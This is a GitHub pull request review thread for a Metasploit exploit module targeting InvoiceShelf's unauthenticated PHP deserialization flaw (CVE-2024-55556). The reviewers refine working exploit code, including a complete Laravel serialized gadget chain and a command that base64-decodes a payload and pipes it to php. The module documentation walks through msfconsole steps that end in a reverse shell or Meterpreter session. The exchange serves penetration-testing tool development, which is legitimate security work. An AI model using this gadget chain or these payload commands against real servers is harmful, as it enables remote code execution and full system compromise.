-
Notifications
You must be signed in to change notification settings - Fork 14.2k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
InvoiceShelf unauthenticated PHP deserialization vulnerability [CVE-2024-55556] #19950
base: master
Are you sure you want to change the base?
InvoiceShelf unauthenticated PHP deserialization vulnerability [CVE-2024-55556] #19950
Conversation
documentation/modules/exploit/linux/http/invoiceshelf_unauth_rce_cve_2024_55556.md
Outdated
Show resolved
Hide resolved
|
||
print_status('Generate an encrypted serialized cookie payload with our cracked APP_KEY.') | ||
pl = payload.encoded | ||
pl = "php -r \"#{payload.encoded.gsub('"', '\"').gsub('$', '\$')}\"" if target['Type'] == :php |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
If you want to avoid certain type of characters, I think you could define badchars
with list of undesired characters.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Yep, but in this case I would like to stick to the original code and do the escapes because using the badchars
option results in an eval()
call which can be blocked in php. The original payload code is trying to bypass this.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Got it, in that case, alternative would be using payload/cmd/unix/reverse_php_ssl
for PHP targets as it generates PHP command payload without need of substituting anything.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Or another alternative would be (code not tested):
pl = "php -r \"#{payload.encoded.gsub('"', '\"').gsub('$', '\$')}\"" if target['Type'] == :php | |
pl = "base64 -d <<<#{Base64.strict_encode64(payload.encoded)} | php " if target['Type'] == :php |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Cool, I like your suggestion.
Changed the command line a bit to make it more robust.
pl = "echo -n #{Base64.strict_encode64(payload.encoded)}|(base64 -d||openssl enc -base64 -d)|php" if target['Type'] == :php
Used echo
instead of <<<
so that it also works in non-bash shells.
Also included support for openssl
if base64
is not installed.
See 1ca57c8.
|
…ce_cve_2024_55556.md Co-authored-by: msutovsky-r7 <[email protected]>
|
||
print_status('Generate an encrypted serialized cookie payload with our cracked APP_KEY.') | ||
pl = payload.encoded | ||
pl = "echo -n #{Base64.strict_encode64(payload.encoded)}|(base64 -d||openssl enc -base64 -d)|php" if target['Type'] == :php |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
From my testing, this variant is more stable:
pl = "echo -n #{Base64.strict_encode64(payload.encoded)}|(base64 -d||openssl enc -base64 -d)|php" if target['Type'] == :php | |
pl = "echo '#{Base64.strict_encode64(payload.encoded)}'|(base64 -d||openssl enc -base64 -d)|php" if target['Type'] == :php |
pl_len = pl.length | ||
laravel_payload = %(a:2:{i:7;O:40:"Illuminate\\Broadcasting\\PendingBroadcast":1:{s:9:"\x00*\x00events";O:35:"Illuminate\\Database\\DatabaseManager":2:{s:6:"\x00*\x00app";a:1:{s:6:"config";a:2:{s:16:"database.default";s:6:"system";s:20:"database.connections";a:1:{s:6:"system";a:1:{i:0;s:#{pl_len}:"#{pl}";}}}}s:13:"\x00*\x00extensions";a:1:{s:6:"system";s:12:"array_filter";}}}i:7;i:7;}) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Also, we can probably inline this:
pl_len = pl.length | |
laravel_payload = %(a:2:{i:7;O:40:"Illuminate\\Broadcasting\\PendingBroadcast":1:{s:9:"\x00*\x00events";O:35:"Illuminate\\Database\\DatabaseManager":2:{s:6:"\x00*\x00app";a:1:{s:6:"config";a:2:{s:16:"database.default";s:6:"system";s:20:"database.connections";a:1:{s:6:"system";a:1:{i:0;s:#{pl_len}:"#{pl}";}}}}s:13:"\x00*\x00extensions";a:1:{s:6:"system";s:12:"array_filter";}}}i:7;i:7;}) | |
laravel_payload = %(a:2:{i:7;O:40:"Illuminate\\Broadcasting\\PendingBroadcast":1:{s:9:"\x00*\x00events";O:35:"Illuminate\\Database\\DatabaseManager":2:{s:6:"\x00*\x00app";a:1:{s:6:"config";a:2:{s:16:"database.default";s:6:"system";s:20:"database.connections";a:1:{s:6:"system";a:1:{i:0;s:#{pl.length}:"#{pl}";}}}}s:13:"\x00*\x00extensions";a:1:{s:6:"system";s:12:"array_filter";}}}i:7;i:7;}) |
InvoiceShelf is an open-source web & mobile app that helps you track expenses, payments, create professional
invoices & estimates and is based on the PHP framework Laravel.
InvoiceShelf has a Remote Code Execution vulnerability that allows remote unauthenticated attackers to conduct PHP deserialization attacks. This is possible when the
SESSION_DRIVER=cookie
option is set on the default InvoiceShelf.env
file meaning that any session will be stored as a ciphered value inside a cookie.These sessions are made from a specially crafted JSON containing serialized data which is then ciphered using Laravel's
encrypt()
function.An attacker in possession of the
APP_KEY
would therefore be able to retrieve the cookie, uncipher it and modify the serialized data in order to get arbitrary deserialization on the affected server, allowing them to achieve remote command execution. InvoiceShelf version1.3.0
and lower is vulnerable.As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands, potentially resulting in complete system compromise, data exfiltration, or unauthorized access to sensitive information.
The following release was tested.
1.3.0
on DockerInstallation steps to install InvoiceShelf on Docker
SESSION_DRIVER=cookie
is set to cookie..env.example
to.env
and note down theAPP_KEY
setting.docker-compose.yml
below to install a vulnerable InvoiceShelf on Docker.docker-compose up -d
Verification Steps
msfconsole
use exploit/linux/http/linux/http/invoiceshelf_uauth_rce_cve_2024_55556
set rhosts <ip-target>
set rport <port>
set lhost <attacker-ip>
set target <0=PHP Command, 1=Unix/Linux Command>
exploit
you should get a
reverse shell
orMeterpreter
session depending on thepayload
andtarget
settings.